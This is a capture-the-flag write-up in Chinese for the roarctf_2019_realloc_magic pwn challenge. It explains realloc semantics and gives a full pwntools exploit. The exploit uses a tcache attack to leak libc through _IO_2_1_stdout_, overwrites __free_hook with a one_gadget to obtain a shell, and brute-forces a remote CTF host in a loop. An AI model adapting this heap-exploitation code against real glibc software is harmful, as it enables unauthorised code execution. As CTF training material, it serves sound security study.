roarctf_2019_realloc_magic
查看保护
这里的话不会清空指针。
最有意思的是这个地方,使用的一个realloc。
- 当ptr == nullptr的时候,相当于malloc(size), 返回分配到的地址
- 当ptr != nullptr && size == 0的时候,相当于free(ptr),返回空指针
- 当size小于原来ptr所指向的内存的大小时,直接缩小,返回ptr指针。被削减的那块内存会被释放,放入对应的bins中去
- 当size大于原来ptr所指向的内存的大小时,如果原ptr所指向的chunk后面又足够的空间,那么直接在后面扩容,返回ptr指针;如果后面空间不足,先释放ptr所申请的内存,然后试图分配size大小的内存,返回分配后的指针
这个函数只有一次的ptr清0机会
攻击思路:首先有realloc这种分配方法,所以可以借助realloc来达成堆块重叠,也就是tcache attack。将fd改为_IO_2_1_stdout这里,然后通过stdout来泄露出Libc。这里笔者就不详细讲如何使用stdout来泄露libc了。这里贴一个笔者之前写过的stdout泄露libc。z1r0’s blog
拿到libc之后得到hook和one_gadget。接着重复上面的tcache attack的步骤将fd劫持成hook。最后通过realloc的特性改成gadget即可getshell。
注意:打远程需要爆破。因为stdout的最后一个是0x60是因定的只需要爆破倒数第二个就可以了。
from pwn import *
context(arch='amd64', os='linux') #, log_level='debug')
file_name = './z1r0'
'''
debug = 0
if debug:
r = remote()
else:
r = process(file_name)
'''
elf = ELF(file_name)
def dbg():
gdb.attach(r)
menu = '>> '
def add(size, content):
r.sendlineafter(menu, '1')
r.sendlineafter('Size?', str(size))
r.sendafter('Content?', content)
def delete():
r.sendlineafter(menu, '2')
def ba():
r.sendlineafter(menu, '666')
'''
size == 0 && ptr != NULL delete
ptr == NULL malloc(size)
size > old_size edit(size > old_size)
'''
def attack():
add(0x30, '\x00')
add(0, '') #free
add(0x80, '\x00')
add(0, '') #free
add(0x40, '\x00')
add(0, '') #free
add(0x80, '\x00')
for i in range(7):
delete()
add(0, '') #free to get unstortedbin
add(0x30, '\x00')
libc = ELF('./2.27/libc-2.27.so')
_IO_2_1_stdout_s = libc.sym['_IO_2_1_stdout_']
#p1 = p64(0) * 7 + p64(0x51) + p64(0x7ffff7dd0760)
p1 = p64(0) * 7 + p64(0x51) + p8(0x60) + p8(0x87)
add(0x50, p1)
add(0, '') #free
add(0x80, '\x00')
add(0, '') #free
p1 = p64(0x0FBAD1887) + p64(0) * 3 + p8(0x58)
add(0x80, p1)
r.recvuntil('\n')
#addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
libc_base = u64(r.recv(6).ljust(8, b'\x00')) - 0x3E82A0
if libc_base >> 40 != 0x7F:
exit(0)
#libc_base = addr - libc.sym['_IO_file_jumps']
free_hook = libc_base + libc.sym['__free_hook']
success('free_hook = ' + hex(free_hook))
one = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = one[1] + libc_base
ba()
add(0x10, b'\x00')
add(0, '')
add(0x100, '\x00')
add(0, '')
add(0x20, '\x00')
add(0, '')
add(0x100, '\x00')
for i in range(7):
delete()
add(0, '')
add(0x10, '\x00')
p2 = p64(0) * 3 + p64(0x51) + p64(free_hook)
add(0x50, p2)
add(0, '')
add(0x100, '\x00')
add(0, '')
add(0x100, p64(one_gadget))
delete()
#dbg()
while True:
try:
r = remote('node4.buuoj.cn', 29344)
attack()
r.interactive()
break
except:
r.close()